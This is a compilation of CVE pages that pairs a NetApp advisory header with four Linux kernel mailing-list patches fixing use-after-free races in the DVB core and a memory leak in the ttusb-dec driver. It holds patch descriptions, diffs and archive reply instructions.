An issue was discovered in the Linux kernel through 6.0.9. drivers/media/dvb-core/dvb_net.c has a .disconnect versus dvb_device_open race condition that leads to a use-after-free.

circle-info NetApp will continue to update this advisory as additional information becomes available.  
This advisory should be considered the single source of current, up-to-date, authorized and accurate information from NetApp regarding Full Support products and versions.

**The email subscription feature has been temporarily disabled.**

**Advisory ID:** NTAP-20230113-0006 **Version:** 2.0 **Last updated:** 02/16/2023 **Status:** Interim. **CVEs:** CVE-2022-45884, CVE-2022-45885, CVE-2022-45886, CVE-2022-45887, CVE-2022-45888

This document is provided solely for informational purposes. All information is based upon NetApp’s current knowledge and understanding of the hardware and software products tested by NetApp, and the methodology and assumptions used by NetApp. NetApp is not responsible for any errors or omissions that may be contained herein, and no warranty, representation, or other legal commitment or obligation is being provided by NetApp. © 2022 NetApp, Inc. All rights reserved. No portions of this document may be reproduced without prior written consent of NetApp, Inc.

CVE-2022-45886: November 2022 Linux Kernel 6.0.9 Vulnerabilities in NetApp Products

An issue was discovered in the Linux kernel through 6.0.9. drivers/media/dvb-core/dvb_frontend.c has a race condition that can cause a use-after-free when a device is disconnected.

From: imv4bel@gmail.com
To: mchehab@kernel.org
Cc: Hyunwoo Kim <imv4bel@gmail.com>,
	kernel@tuxforce.de, linux-media@vger.kernel.org,
	linux-usb@vger.kernel.org, cai.huoqing@linux.dev, tiwai@suse.de
Subject: \[PATCH 1/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_frontend
Date: Tue, 15 Nov 2022 05:18:19 -0800	\[thread overview\]
Message-ID: <20221115131822.6640-2-imv4bel@gmail.com> (raw)
In-Reply-To: <20221115131822.6640-1-imv4bel@gmail.com\>

From: Hyunwoo Kim <imv4bel@gmail.com>

If the device node of dvb\_frontend is open() and the device is
disconnected, many kinds of UAFs may occur when calling close()
on the device node.

The root cause of this is that wake\_up() for dvbdev->wait\_queue
is implemented in the dvb\_frontend\_release() function, but
wait\_event() is not implemented in the dvb\_frontend\_stop() function.

So, implement wait\_event() function in dvb\_frontend\_stop() and
add 'remove\_mutex' which prevents race condition for 'fe->exit'.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/media/dvb-core/dvb\_frontend.c | 39 +++++++++++++++++++++++----
 include/media/dvb\_frontend.h | 6 ++++-
 2 files changed, 39 insertions(+), 6 deletions(-)

diff --git a/drivers/media/dvb-core/dvb\_frontend.c b/drivers/media/dvb-core/dvb\_frontend.c
index 48e735cdbe6b..b3556e3580c6 100644
--- a/drivers/media/dvb-core/dvb\_frontend.c
+++ b/drivers/media/dvb-core/dvb\_frontend.c
@@ -809,6 +809,8 @@ static void dvb\_frontend\_stop(struct dvb\_frontend \*fe)
 
 	dev\_dbg(fe->dvb->device, "%s:\\n", \_\_func\_\_);
 
+	mutex\_lock(&fe->remove\_mutex);
+
 	if (fe->exit != DVB\_FE\_DEVICE\_REMOVED)
 		fe->exit = DVB\_FE\_NORMAL\_EXIT;
 	mb();
@@ -818,6 +820,13 @@ static void dvb\_frontend\_stop(struct dvb\_frontend \*fe)
 
 	kthread\_stop(fepriv->thread);
 
+	mutex\_unlock(&fe->remove\_mutex);
+
+	if (fepriv->dvbdev->users < -1) {
+		wait\_event(fepriv->dvbdev->wait\_queue,
+				fepriv->dvbdev->users == -1);
+	}
+
 	sema\_init(&fepriv->sem, 1);
 	fepriv->state = FESTATE\_IDLE;
 
@@ -2750,9 +2759,13 @@ static int dvb\_frontend\_open(struct inode \*inode, struct file \*file)
 	struct dvb\_adapter \*adapter = fe->dvb;
 	int ret;
 
+	mutex\_lock(&fe->remove\_mutex);
+
 	dev\_dbg(fe->dvb->device, "%s:\\n", \_\_func\_\_);
\-	if (fe->exit == DVB\_FE\_DEVICE\_REMOVED)
+	if (fe->exit == DVB\_FE\_DEVICE\_REMOVED) {
+		mutex\_unlock(&fe->remove\_mutex);
 		return -ENODEV;
+	}
 
 	if (adapter->mfe\_shared) {
 		mutex\_lock(&adapter->mfe\_lock);
@@ -2773,8 +2786,10 @@ static int dvb\_frontend\_open(struct inode \*inode, struct file \*file)
 			while (mferetry-- && (mfedev->users != -1 ||
 					 mfepriv->thread)) {
 				if (msleep\_interruptible(500)) {
\-					if (signal\_pending(current))
+					if (signal\_pending(current)) {
+						mutex\_unlock(&fe->remove\_mutex);
 						return -EINTR;
+					}
 				}
 			}
 
@@ -2786,6 +2801,7 @@ static int dvb\_frontend\_open(struct inode \*inode, struct file \*file)
 				if (mfedev->users != -1 ||
 				 mfepriv->thread) {
 					mutex\_unlock(&adapter->mfe\_lock);
+					mutex\_unlock(&fe->remove\_mutex);
 					return -EBUSY;
 				}
 				adapter->mfe\_dvbdev = dvbdev;
@@ -2845,6 +2861,8 @@ static int dvb\_frontend\_open(struct inode \*inode, struct file \*file)
 
 	if (adapter->mfe\_shared)
 		mutex\_unlock(&adapter->mfe\_lock);
+
+	mutex\_unlock(&fe->remove\_mutex);
 	return ret;
 
 err3:
@@ -2866,6 +2884,8 @@ static int dvb\_frontend\_open(struct inode \*inode, struct file \*file)
 err0:
 	if (adapter->mfe\_shared)
 		mutex\_unlock(&adapter->mfe\_lock);
+
+	mutex\_unlock(&fe->remove\_mutex);
 	return ret;
 }
 
@@ -2876,6 +2896,8 @@ static int dvb\_frontend\_release(struct inode \*inode, struct file \*file)
 	struct dvb\_frontend\_private \*fepriv = fe->frontend\_priv;
 	int ret;
 
+	mutex\_lock(&fe->remove\_mutex);
+
 	dev\_dbg(fe->dvb->device, "%s:\\n", \_\_func\_\_);
 
 	if ((file->f\_flags & O\_ACCMODE) != O\_RDONLY) {
@@ -2897,11 +2919,17 @@ static int dvb\_frontend\_release(struct inode \*inode, struct file \*file)
 		}
 		mutex\_unlock(&fe->dvb->mdev\_lock);
 #endif
\-		if (fe->exit != DVB\_FE\_NO\_EXIT)
-			wake\_up(&dvbdev->wait\_queue);
 		if (fe->ops.ts\_bus\_ctrl)
 			fe->ops.ts\_bus\_ctrl(fe, 0);
\-	}
+
+		if (fe->exit != DVB\_FE\_NO\_EXIT) {
+			mutex\_unlock(&fe->remove\_mutex);
+			wake\_up(&dvbdev->wait\_queue);
+		} else
+			mutex\_unlock(&fe->remove\_mutex);
+
+	} else
+		mutex\_unlock(&fe->remove\_mutex);
 
 	dvb\_frontend\_put(fe);
 
@@ -3000,6 +3028,7 @@ int dvb\_register\_frontend(struct dvb\_adapter \*dvb,
 	fepriv = fe->frontend\_priv;
 
 	kref\_init(&fe->refcount);
+	mutex\_init(&fe->remove\_mutex);
 
 	/\*
 	 \* After initialization, there need to be two references: one
diff --git a/include/media/dvb\_frontend.h b/include/media/dvb\_frontend.h
index e7c44870f20d..411ec32cd8df 100644
--- a/include/media/dvb\_frontend.h
+++ b/include/media/dvb\_frontend.h
@@ -686,7 +686,10 @@ struct dtv\_frontend\_properties {
 \* @id:			Frontend ID
 \* @exit:		Used to inform the DVB core that the frontend
 \*			thread should exit (usually, means that the hardware
\- \*			got disconnected.
\+ \*			got disconnected.)
+ \* @remove\_mutex:	mutex that avoids a race condition between a callback
+ \*			called when the hardware is disconnected and the
+ \*			file\_operations of dvb\_frontend
 \*/
 
 struct dvb\_frontend {
@@ -704,6 +707,7 @@ struct dvb\_frontend {
 	int (\*callback)(void \*adapter\_priv, int component, int cmd, int arg);
 	int id;
 	unsigned int exit;
+	struct mutex remove\_mutex;
 };
 
 /\*\*
-- 
2.25.1

next prev parent reply	other threads:\[~2022-11-15 13:19 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\] mbox.gz Atom feed top
2022-11-15 13:18 \[PATCH 0/4\] Fix multiple race condition vulnerabilities in dvb-core and device driver imv4bel
**2022-11-15 13:18 \` imv4bel \[this message\]**
2022-11-15 13:18 \` \[PATCH 2/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_net imv4bel
2022-11-15 13:18 \` \[PATCH 3/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_register\_device() imv4bel
2022-11-17 4:16 \` Dan Carpenter
2022-11-15 13:18 \` \[PATCH 4/4\] media: ttusb-dec: Fix memory leak in ttusb\_dec\_exit\_dvb() imv4bel

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
 and reply-to-all from there: mbox

 Avoid top-posting and favor interleaved quoting:
 https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
 switches of git-send-email(1):

 git send-email \\
 --in-reply-to=20221115131822.6640-2-imv4bel@gmail.com \\
 --to=imv4bel@gmail.com \\
 --cc=cai.huoqing@linux.dev \\
 --cc=kernel@tuxforce.de \\
 --cc=linux-media@vger.kernel.org \\
 --cc=linux-usb@vger.kernel.org \\
 --cc=mchehab@kernel.org \\
 --cc=tiwai@suse.de \\
 /path/to/YOUR\_REPLY

 https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
 via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-45885: [PATCH 1/4] media: dvb-core: Fix use-after-free due to race condition occurring in dvb_frontend

From: imv4bel@gmail.com
To: mchehab@kernel.org
Cc: Hyunwoo Kim <imv4bel@gmail.com>,
	kernel@tuxforce.de, linux-media@vger.kernel.org,
	linux-usb@vger.kernel.org, cai.huoqing@linux.dev, tiwai@suse.de
Subject: \[PATCH 2/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_net
Date: Tue, 15 Nov 2022 05:18:20 -0800	\[thread overview\]
Message-ID: <20221115131822.6640-3-imv4bel@gmail.com> (raw)
In-Reply-To: <20221115131822.6640-1-imv4bel@gmail.com\>

From: Hyunwoo Kim <imv4bel@gmail.com>

A race condition may occur between the .disconnect function, which
is called when the device is disconnected, and the dvb\_device\_open()
function, which is called when the device node is open()ed.
This results in several types of UAFs.

The root cause of this is that you use the dvb\_device\_open() function,
which does not implement a conditional statement
that checks 'dvbnet->exit'.

So, add 'remove\_mutex\` to protect 'dvbnet->exit' and use
locked\_dvb\_net\_open() function to check 'dvbnet->exit'.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/media/dvb-core/dvb\_net.c | 37 +++++++++++++++++++++++++++++---
 include/media/dvb\_net.h | 4 ++++
 2 files changed, 38 insertions(+), 3 deletions(-)

diff --git a/drivers/media/dvb-core/dvb\_net.c b/drivers/media/dvb-core/dvb\_net.c
index 8a2febf33ce2..bdfc6609cb93 100644
--- a/drivers/media/dvb-core/dvb\_net.c
+++ b/drivers/media/dvb-core/dvb\_net.c
@@ -1564,15 +1564,42 @@ static long dvb\_net\_ioctl(struct file \*file,
 	return dvb\_usercopy(file, cmd, arg, dvb\_net\_do\_ioctl);
 }
 
+static int locked\_dvb\_net\_open(struct inode \*inode, struct file \*file)
+{
+	struct dvb\_device \*dvbdev = file->private\_data;
+	struct dvb\_net \*dvbnet = dvbdev->priv;
+	int ret;
+
+	if (mutex\_lock\_interruptible(&dvbnet->remove\_mutex))
+		return -ERESTARTSYS;
+
+	if (dvbnet->exit) {
+		mutex\_unlock(&dvbnet->remove\_mutex);
+		return -ENODEV;
+	}
+
+	ret = dvb\_generic\_open(inode, file);
+
+	mutex\_unlock(&dvbnet->remove\_mutex);
+
+	return ret;
+}
+
 static int dvb\_net\_close(struct inode \*inode, struct file \*file)
 {
 	struct dvb\_device \*dvbdev = file->private\_data;
 	struct dvb\_net \*dvbnet = dvbdev->priv;
 
+	mutex\_lock(&dvbnet->remove\_mutex);
+
 	dvb\_generic\_release(inode, file);
 
\-	if(dvbdev->users == 1 && dvbnet->exit == 1)
+	if (dvbdev->users == 1 && dvbnet->exit == 1) {
+		mutex\_unlock(&dvbnet->remove\_mutex);
 		wake\_up(&dvbdev->wait\_queue);
+	} else
+		mutex\_unlock(&dvbnet->remove\_mutex);
+
 	return 0;
 }
 
@@ -1580,7 +1607,7 @@ static int dvb\_net\_close(struct inode \*inode, struct file \*file)
 static const struct file\_operations dvb\_net\_fops = {
 	.owner = THIS\_MODULE,
 	.unlocked\_ioctl = dvb\_net\_ioctl,
\-	.open =	dvb\_generic\_open,
+	.open =	locked\_dvb\_net\_open,
 	.release = dvb\_net\_close,
 	.llseek = noop\_llseek,
 };
@@ -1599,10 +1626,13 @@ void dvb\_net\_release (struct dvb\_net \*dvbnet)
 {
 	int i;
 
+	mutex\_lock(&dvbnet->remove\_mutex);
 	dvbnet->exit = 1;
+	mutex\_unlock(&dvbnet->remove\_mutex);
+
 	if (dvbnet->dvbdev->users < 1)
 		wait\_event(dvbnet->dvbdev->wait\_queue,
\-				dvbnet->dvbdev->users==1);
+				dvbnet->dvbdev->users == 1);
 
 	dvb\_unregister\_device(dvbnet->dvbdev);
 
@@ -1621,6 +1651,7 @@ int dvb\_net\_init (struct dvb\_adapter \*adap, struct dvb\_net \*dvbnet,
 	int i;
 
 	mutex\_init(&dvbnet->ioctl\_mutex);
+	mutex\_init(&dvbnet->remove\_mutex);
 	dvbnet->demux = dmx;
 
 	for (i=0; i<DVB\_NET\_DEVICES\_MAX; i++)
diff --git a/include/media/dvb\_net.h b/include/media/dvb\_net.h
index 5e31d37f25fa..3e2eee5a05e5 100644
--- a/include/media/dvb\_net.h
+++ b/include/media/dvb\_net.h
@@ -41,6 +41,9 @@
 \* @exit:		flag to indicate when the device is being removed.
 \* @demux:		pointer to &struct dmx\_demux.
 \* @ioctl\_mutex:	protect access to this struct.
\+ \* @remove\_mutex:	mutex that avoids a race condition between a callback
+ \*			called when the hardware is disconnected and the
+ \*			file\_operations of dvb\_net
 \*
 \* Currently, the core supports up to %DVB\_NET\_DEVICES\_MAX (10) network
 \* devices.
@@ -53,6 +56,7 @@ struct dvb\_net {
 	unsigned int exit:1;
 	struct dmx\_demux \*demux;
 	struct mutex ioctl\_mutex;
+	struct mutex remove\_mutex;
 };
 
 /\*\*
-- 
2.25.1

next prev parent reply	other threads:\[~2022-11-15 13:19 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\] mbox.gz Atom feed top
2022-11-15 13:18 \[PATCH 0/4\] Fix multiple race condition vulnerabilities in dvb-core and device driver imv4bel
2022-11-15 13:18 \` \[PATCH 1/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_frontend imv4bel
**2022-11-15 13:18 \` imv4bel \[this message\]**
2022-11-15 13:18 \` \[PATCH 3/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_register\_device() imv4bel
2022-11-17 4:16 \` Dan Carpenter
2022-11-15 13:18 \` \[PATCH 4/4\] media: ttusb-dec: Fix memory leak in ttusb\_dec\_exit\_dvb() imv4bel

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
 and reply-to-all from there: mbox

 Avoid top-posting and favor interleaved quoting:
 https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
 switches of git-send-email(1):

 git send-email \\
 --in-reply-to=20221115131822.6640-3-imv4bel@gmail.com \\
 --to=imv4bel@gmail.com \\
 --cc=cai.huoqing@linux.dev \\
 --cc=kernel@tuxforce.de \\
 --cc=linux-media@vger.kernel.org \\
 --cc=linux-usb@vger.kernel.org \\
 --cc=mchehab@kernel.org \\
 --cc=tiwai@suse.de \\
 /path/to/YOUR\_REPLY

 https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
 via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-45886: [PATCH 2/4] media: dvb-core: Fix use-after-free due to race condition occurring in dvb_net

An issue was discovered in the Linux kernel through 6.0.9. drivers/media/dvb-core/dvbdev.c has a use-after-free, related to dvb_register_device dynamically allocating fops.

From: imv4bel@gmail.com
To: mchehab@kernel.org
Cc: Hyunwoo Kim <imv4bel@gmail.com>,
	kernel@tuxforce.de, linux-media@vger.kernel.org,
	linux-usb@vger.kernel.org, cai.huoqing@linux.dev, tiwai@suse.de
Subject: \[PATCH 3/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_register\_device()
Date: Tue, 15 Nov 2022 05:18:21 -0800	\[thread overview\]
Message-ID: <20221115131822.6640-4-imv4bel@gmail.com> (raw)
In-Reply-To: <20221115131822.6640-1-imv4bel@gmail.com\>

From: Hyunwoo Kim <imv4bel@gmail.com>

dvb\_register\_device() dynamically allocates fops with kmemdup()
to set the fops->owner.
And these fops are registered in 'file->f\_ops' using replace\_fops()
in the dvb\_device\_open() process, and kfree()d in dvb\_free\_device().

However, it is not common to use dynamically allocated fops instead
of 'static const' fops as an argument of replace\_fops(),
and UAF may occur.
These UAFs can occur on any dvb type using dvb\_register\_device(),
such as dvb\_dvr, dvb\_demux, dvb\_frontend, dvb\_net, etc.

So, instead of kfree() the fops dynamically allocated in
dvb\_register\_device() in dvb\_free\_device() called during the
.disconnect() process, kfree() it collectively in exit\_dvbdev()
called when the dvbdev.c module is removed.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/media/dvb-core/dvbdev.c | 83 ++++++++++++++++++++++++---------
 include/media/dvbdev.h | 15 ++++++
 2 files changed, 77 insertions(+), 21 deletions(-)

diff --git a/drivers/media/dvb-core/dvbdev.c b/drivers/media/dvb-core/dvbdev.c
index 675d877a67b2..424cf92c068e 100644
--- a/drivers/media/dvb-core/dvbdev.c
+++ b/drivers/media/dvb-core/dvbdev.c
@@ -27,6 +27,7 @@
 #include <media/tuner.h>
 
 static DEFINE\_MUTEX(dvbdev\_mutex);
+static LIST\_HEAD(dvbdevfops\_list);
 static int dvbdev\_debug;
 
 module\_param(dvbdev\_debug, int, 0644);
@@ -448,14 +449,15 @@ int dvb\_register\_device(struct dvb\_adapter \*adap, struct dvb\_device \*\*pdvbdev,
 			enum dvb\_device\_type type, int demux\_sink\_pads)
 {
 	struct dvb\_device \*dvbdev;
\-	struct file\_operations \*dvbdevfops;
+	struct file\_operations \*dvbdevfops = NULL;
+	struct dvbdevfops\_node \*node, \*new\_node;
 	struct device \*clsdev;
 	int minor;
 	int id, ret;
 
 	mutex\_lock(&dvbdev\_register\_lock);
 
\-	if ((id = dvbdev\_get\_free\_id (adap, type)) < 0){
+	if ((id = dvbdev\_get\_free\_id (adap, type)) < 0) {
 		mutex\_unlock(&dvbdev\_register\_lock);
 		\*pdvbdev = NULL;
 		pr\_err("%s: couldn't find free device id\\n", \_\_func\_\_);
@@ -463,18 +465,45 @@ int dvb\_register\_device(struct dvb\_adapter \*adap, struct dvb\_device \*\*pdvbdev,
 	}
 
 	\*pdvbdev = dvbdev = kzalloc(sizeof(\*dvbdev), GFP\_KERNEL);
\-
 	if (!dvbdev){
 		mutex\_unlock(&dvbdev\_register\_lock);
 		return -ENOMEM;
 	}
 
\-	dvbdevfops = kmemdup(template->fops, sizeof(\*dvbdevfops), GFP\_KERNEL);
+	/\*
+	 \* When a device of the same type is probe()d more than once,
+	 \* the first allocated fops are used. This prevents memory leaks
+	 \* that can occur when the same device is probe()d repeatedly.
+	 \*/
+	list\_for\_each\_entry(node, &dvbdevfops\_list, list\_head) {
+		if (node->fops->owner == adap->module &&
+				node->type == type &&
+				node->template == template) {
+			dvbdevfops = node->fops;
+			break;
+		}
+	}
 
\-	if (!dvbdevfops){
-		kfree (dvbdev);
-		mutex\_unlock(&dvbdev\_register\_lock);
-		return -ENOMEM;
+	if (dvbdevfops == NULL) {
+		dvbdevfops = kmemdup(template->fops, sizeof(\*dvbdevfops), GFP\_KERNEL);
+		if (!dvbdevfops) {
+			kfree(dvbdev);
+			mutex\_unlock(&dvbdev\_register\_lock);
+			return -ENOMEM;
+		}
+
+		new\_node = kzalloc(sizeof(struct dvbdevfops\_node), GFP\_KERNEL);
+		if (!new\_node) {
+			kfree(dvbdevfops);
+			kfree(dvbdev);
+			mutex\_unlock(&dvbdev\_register\_lock);
+			return -ENOMEM;
+		}
+
+		new\_node->fops = dvbdevfops;
+		new\_node->type = type;
+		new\_node->template = template;
+		list\_add\_tail (&new\_node->list\_head, &dvbdevfops\_list);
 	}
 
 	memcpy(dvbdev, template, sizeof(struct dvb\_device));
@@ -484,20 +513,20 @@ int dvb\_register\_device(struct dvb\_adapter \*adap, struct dvb\_device \*\*pdvbdev,
 	dvbdev->priv = priv;
 	dvbdev->fops = dvbdevfops;
 	init\_waitqueue\_head (&dvbdev->wait\_queue);
\-
 	dvbdevfops->owner = adap->module;
\-
 	list\_add\_tail (&dvbdev->list\_head, &adap->device\_list);
\-
 	down\_write(&minor\_rwsem);
 #ifdef CONFIG\_DVB\_DYNAMIC\_MINORS
 	for (minor = 0; minor < MAX\_DVB\_MINORS; minor++)
 		if (dvb\_minors\[minor\] == NULL)
 			break;
\-
 	if (minor == MAX\_DVB\_MINORS) {
+		if (new\_node) {
+			list\_del (&new\_node->list\_head);
+			kfree(dvbdevfops);
+			kfree(new\_node);
+		}
 		list\_del (&dvbdev->list\_head);
\-		kfree(dvbdevfops);
 		kfree(dvbdev);
 		up\_write(&minor\_rwsem);
 		mutex\_unlock(&dvbdev\_register\_lock);
@@ -506,41 +535,46 @@ int dvb\_register\_device(struct dvb\_adapter \*adap, struct dvb\_device \*\*pdvbdev,
 #else
 	minor = nums2minor(adap->num, type, id);
 #endif
\-
 	dvbdev->minor = minor;
 	dvb\_minors\[minor\] = dvbdev;
 	up\_write(&minor\_rwsem);
\-
 	ret = dvb\_register\_media\_device(dvbdev, type, minor, demux\_sink\_pads);
 	if (ret) {
 		pr\_err("%s: dvb\_register\_media\_device failed to create the mediagraph\\n",
 		 \_\_func\_\_);
\-
+		if (new\_node) {
+			list\_del (&new\_node->list\_head);
+			kfree(dvbdevfops);
+			kfree(new\_node);
+		}
 		dvb\_media\_device\_free(dvbdev);
 		list\_del (&dvbdev->list\_head);
\-		kfree(dvbdevfops);
 		kfree(dvbdev);
 		mutex\_unlock(&dvbdev\_register\_lock);
 		return ret;
 	}
 
\-	mutex\_unlock(&dvbdev\_register\_lock);
-
 	clsdev = device\_create(dvb\_class, adap->device,
 			 MKDEV(DVB\_MAJOR, minor),
 			 dvbdev, "dvb%d.%s%d", adap->num, dnames\[type\], id);
 	if (IS\_ERR(clsdev)) {
 		pr\_err("%s: failed to create device dvb%d.%s%d (%ld)\\n",
 		 \_\_func\_\_, adap->num, dnames\[type\], id, PTR\_ERR(clsdev));
+		if (new\_node) {
+			list\_del (&new\_node->list\_head);
+			kfree(dvbdevfops);
+			kfree(new\_node);
+		}
 		dvb\_media\_device\_free(dvbdev);
 		list\_del (&dvbdev->list\_head);
\-		kfree(dvbdevfops);
 		kfree(dvbdev);
 		return PTR\_ERR(clsdev);
 	}
+
 	dprintk("DVB: register adapter%d/%s%d @ minor: %i (0x%02x)\\n",
 		adap->num, dnames\[type\], id, minor, minor);
 
+	mutex\_unlock(&dvbdev\_register\_lock);
 	return 0;
 }
 EXPORT\_SYMBOL(dvb\_register\_device);
@@ -569,7 +603,6 @@ void dvb\_free\_device(struct dvb\_device \*dvbdev)
 	if (!dvbdev)
 		return;
 
\-	kfree (dvbdev->fops);
 	kfree (dvbdev);
 }
 EXPORT\_SYMBOL(dvb\_free\_device);
@@ -1061,9 +1094,17 @@ static int \_\_init init\_dvbdev(void)
 
 static void \_\_exit exit\_dvbdev(void)
 {
+	struct dvbdevfops\_node \*node, \*next;
+
 	class\_destroy(dvb\_class);
 	cdev\_del(&dvb\_device\_cdev);
 	unregister\_chrdev\_region(MKDEV(DVB\_MAJOR, 0), MAX\_DVB\_MINORS);
+
+	list\_for\_each\_entry\_safe(node, next, &dvbdevfops\_list, list\_head) {
+		list\_del (&node->list\_head);
+		kfree(node->fops);
+		kfree(node);
+	}
 }
 
 subsys\_initcall(init\_dvbdev);
diff --git a/include/media/dvbdev.h b/include/media/dvbdev.h
index 2f6b0861322a..1e5413303705 100644
--- a/include/media/dvbdev.h
+++ b/include/media/dvbdev.h
@@ -187,6 +187,21 @@ struct dvb\_device {
 	void \*priv;
 };
 
+/\*\*
+ \* struct dvbdevfops\_node - fops nodes registered in dvbdevfops\_list
+ \*
+ \* @fops:		Dynamically allocated fops for ->owner registration
+ \* @type:		type of dvb\_device
+ \* @template:		dvb\_device used for registration
+ \* @list\_head:		list\_head for dvbdevfops\_list
+ \*/
+struct dvbdevfops\_node {
+	struct file\_operations \*fops;
+	enum dvb\_device\_type type;
+	const struct dvb\_device \*template;
+	struct list\_head list\_head;
+};
+
 /\*\*
 \* dvb\_register\_adapter - Registers a new DVB adapter
 \*
-- 
2.25.1

next prev parent reply	other threads:\[~2022-11-15 13:19 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\] mbox.gz Atom feed top
2022-11-15 13:18 \[PATCH 0/4\] Fix multiple race condition vulnerabilities in dvb-core and device driver imv4bel
2022-11-15 13:18 \` \[PATCH 1/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_frontend imv4bel
2022-11-15 13:18 \` \[PATCH 2/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_net imv4bel
**2022-11-15 13:18 \` imv4bel \[this message\]**
2022-11-17 4:16 \` \[PATCH 3/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_register\_device() Dan Carpenter
2022-11-15 13:18 \` \[PATCH 4/4\] media: ttusb-dec: Fix memory leak in ttusb\_dec\_exit\_dvb() imv4bel

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
 and reply-to-all from there: mbox

 Avoid top-posting and favor interleaved quoting:
 https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
 switches of git-send-email(1):

 git send-email \\
 --in-reply-to=20221115131822.6640-4-imv4bel@gmail.com \\
 --to=imv4bel@gmail.com \\
 --cc=cai.huoqing@linux.dev \\
 --cc=kernel@tuxforce.de \\
 --cc=linux-media@vger.kernel.org \\
 --cc=linux-usb@vger.kernel.org \\
 --cc=mchehab@kernel.org \\
 --cc=tiwai@suse.de \\
 /path/to/YOUR\_REPLY

 https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
 via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-45884: [PATCH 3/4] media: dvb-core: Fix use-after-free due to race condition occurring in dvb_register_device()

An issue was discovered in the Linux kernel through 6.0.9. drivers/media/usb/ttusb-dec/ttusb_dec.c has a memory leak because of the lack of a dvb_frontend_detach call.

From: imv4bel@gmail.com
To: mchehab@kernel.org
Cc: Hyunwoo Kim <imv4bel@gmail.com>,
	kernel@tuxforce.de, linux-media@vger.kernel.org,
	linux-usb@vger.kernel.org, cai.huoqing@linux.dev, tiwai@suse.de
Subject: \[PATCH 4/4\] media: ttusb-dec: Fix memory leak in ttusb\_dec\_exit\_dvb()
Date: Tue, 15 Nov 2022 05:18:22 -0800	\[thread overview\]
Message-ID: <20221115131822.6640-5-imv4bel@gmail.com> (raw)
In-Reply-To: <20221115131822.6640-1-imv4bel@gmail.com\>

From: Hyunwoo Kim <imv4bel@gmail.com>

Since dvb\_frontend\_detach() is not called in ttusb\_dec\_exit\_dvb(),
which is called when the device is disconnected, dvb\_frontend\_free()
is not finally called.

This causes a memory leak just by repeatedly plugging and
unplugging the device.

Fix this issue by adding dvb\_frontend\_detach() to ttusb\_dec\_exit\_dvb().

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/media/usb/ttusb-dec/ttusb\_dec.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/media/usb/ttusb-dec/ttusb\_dec.c b/drivers/media/usb/ttusb-dec/ttusb\_dec.c
index 38822cedd93a..c4474d4c44e2 100644
--- a/drivers/media/usb/ttusb-dec/ttusb\_dec.c
+++ b/drivers/media/usb/ttusb-dec/ttusb\_dec.c
@@ -1544,8 +1544,7 @@ static void ttusb\_dec\_exit\_dvb(struct ttusb\_dec \*dec)
 	dvb\_dmx\_release(&dec->demux);
 	if (dec->fe) {
 		dvb\_unregister\_frontend(dec->fe);
\-		if (dec->fe->ops.release)
-			dec->fe->ops.release(dec->fe);
+		dvb\_frontend\_detach(dec->fe);
 	}
 	dvb\_unregister\_adapter(&dec->adapter);
 }
-- 
2.25.1

 prev parent reply	other threads:\[~2022-11-15 13:19 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\] mbox.gz Atom feed top
2022-11-15 13:18 \[PATCH 0/4\] Fix multiple race condition vulnerabilities in dvb-core and device driver imv4bel
2022-11-15 13:18 \` \[PATCH 1/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_frontend imv4bel
2022-11-15 13:18 \` \[PATCH 2/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_net imv4bel
2022-11-15 13:18 \` \[PATCH 3/4\] media: dvb-core: Fix use-after-free due to race condition occurring in dvb\_register\_device() imv4bel
2022-11-17 4:16 \` Dan Carpenter
**2022-11-15 13:18 \` imv4bel \[this message\]**

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
 and reply-to-all from there: mbox

 Avoid top-posting and favor interleaved quoting:
